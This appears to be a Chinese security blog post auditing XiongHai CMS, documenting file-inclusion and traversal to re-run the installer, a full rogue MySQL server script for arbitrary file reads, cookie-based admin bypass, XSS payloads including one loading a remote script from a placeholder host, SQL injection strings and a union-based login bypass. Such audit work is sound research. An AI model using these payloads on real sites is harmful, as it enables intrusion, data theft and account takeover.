Y4教你审计系列之熊海CMS代码审计

熊海CMS代码审计

架构

审计代码从架构开始,这个CMS架构比较简单,简单的MVC设计模式,根据参数r决定路由的分发,这个路由分发可能导致一个致命的缺陷导致最终实现RCE

1
2
3
4
5
6
<?php
error_reporting(0);
$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');
?>

由此可能存在的前台RCE

我们知道熊海安装会先判断同文件夹下有无InstallLock.txt作为是否安装的判断标准

那如果我们通过上面这个路由分发实现目录穿越,那当前目录也就是web目录下的index.php是没有这个文件的

没有对参数做处理

1
2
3
4
5
6
7
$save=$_POST['save'];
$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];

可惜由于有第一行include失败导致代码终止,不然通过这个我们一方面可以尝试fakemysql读取任意文件,另一方面可以实现往web目录上一层写文件之后再包含实现RCE,有点可惜

有没有解决的办法呢?有那就是找一个和install/index.php相对路径相同的并且存在如上代码的地方,有么

答案是有,我们可以通过此路由成功保留install的所有功能

前台配合目录穿越读文件

可以看见mysql成功建立连接

但是毕竟admin目录下没有sql文件,如果能配合文件上传也能搞事情待会儿研究下

不过这时候可以做一件事情,通过fakemysql去读任意文件了,也是存在的点,这里由于php版本不一致需要构造不同的tcp数据包,这里我用了github上找到的一个和我php5.2版本能用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:1237");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:1237\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

简单测试一波成功读取到配置文件

可惜后台也不能任意上传文件到admin的fiels目录下,而且config.json配置当中不支持json后缀,就到此结束吧

真正的前台RCE

因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,这里这个老cms一定是只能5版本所以一定可以

因此构造payload,往/tmp/hello.php写文件即可

之后文件包含成功RCE

逻辑绕过免密码登入后台-垂直越权

鉴权函数很简单,所以只要设置cookie当中user为任意字符即可进入后台

前台

既然默认是从files文件夹下做为路由的主文件,我们不妨先从files文件夹开始,文件也不多,在每个文件当中先做了一件事情,这部分没啥漏洞,r本来就是决定路由分发的,而且有addslashes无法逃逸单引号,除非能控制数据库内容可以形成xss

1
2
3
4
5
6
7
8
9
10
11
<?php 
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);
$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);
?>

前台XSS1+突破addslashes字符限制

在contact.php当中,接收到page参数并回显,

1
2
3
4
5
6
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}

因此可以通过payload

1
1</a><script>alert(123)</script><a>

但是这里又有了一个新的问题,addslashes导致我们不能带引号,那怎么办呢?下面给一个解决方式,很简单就不多说啦,这里src可以不加引号

1
r=contact&page=2333</a><script src=http://xxxx/1.js></script><a>

又或者

1
r=contact&page=2333</a><script>alert(/Hacked By y4tacker/)</script><a>

前台XSS2

在content页面,id可控制cookie也可控制不演示了,懂得都懂

前台XSS3-同样例子太多就不列举了

这个更离谱,无过滤后面还有输出yema参数同样不演示了,没意义,同样的例子很多

前台SQL注入 content/software两个页面同理

由于有addslashes,造成不难逃逸引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);

$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);

//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>

造成update语句处的注入,当然这里@mysql_query($query) or die('修改错误:'.mysql_error());会输出错误,所以报错注入就完事啦

有了sql注入,我们就能尝试拿到管理用户密码,在最上面我们说了密码只是简单md5所以可能造成撞库获取明文的风险

验证码逻辑问题

可以看到这里验证码引入code.class.php

而这个文件直接把验证码放入session,这里还没啥问题

这里只是验证是否一致,如果一致也不会刷新,所以我们可以通过一个验证码来一直实现爆破需要验证码的页面如登陆等等

前台SQL注入

很多参数都没过滤,随便注入了,只是有个限制就是需要验证码

配合上面验证码的逻辑漏洞可以实现随便注入

1
cid=0&content=2dsads笑死a333%40&jz=1&mail=' and extractvalue(0x0a,concat(0x0a,(select+version()))))%23&name=asdas&randcode=5x94&save=提交&tz=1&url=asdsadsa

万能密码进入后台

和普通万能密码不一样,它需要查询到数据然后与结果中密码的比对

因此只需要联合查询构造虚假数据即可

1
2
3
POST数据
user=1' union select 1,2,'y4tacker','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8%23
password=1

其中md5(1)=c4ca4238a0b923820dcc509a6f75849b

后台

后台SQL注入有很多就不列举出来了没意义,其他的大概看了下后台没有文件上传,内嵌插件也不能上传(白名单的限制无法突破,也没有文件包含就没啥意义了),除此以外还有个SSRF,但单个系统的SSRF没啥太大价值,除非有其他内网系统才能凸显其价值

一个可行的RCE方案

毕竟是熊海CMS,要求是低版本php5,那么如果php版本小于5.2.8,linux 需要文件名长于 4096,windows 需要长于 256,超过部分会被丢弃从而实现文件包含绕过后缀.php限制,这样我们就可以传图片马即可

又或者通过00截断控制后缀,不过也是有限制的,在 php 版本小于 5.3.4 而且GPC = Off 允许使用%00 截断,在使用 include 等文件包含函数,可以截 断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。

参考文章

https://paper.seebug.org/1112/

https://github.com/Al1ex/Rogue-MySql-Server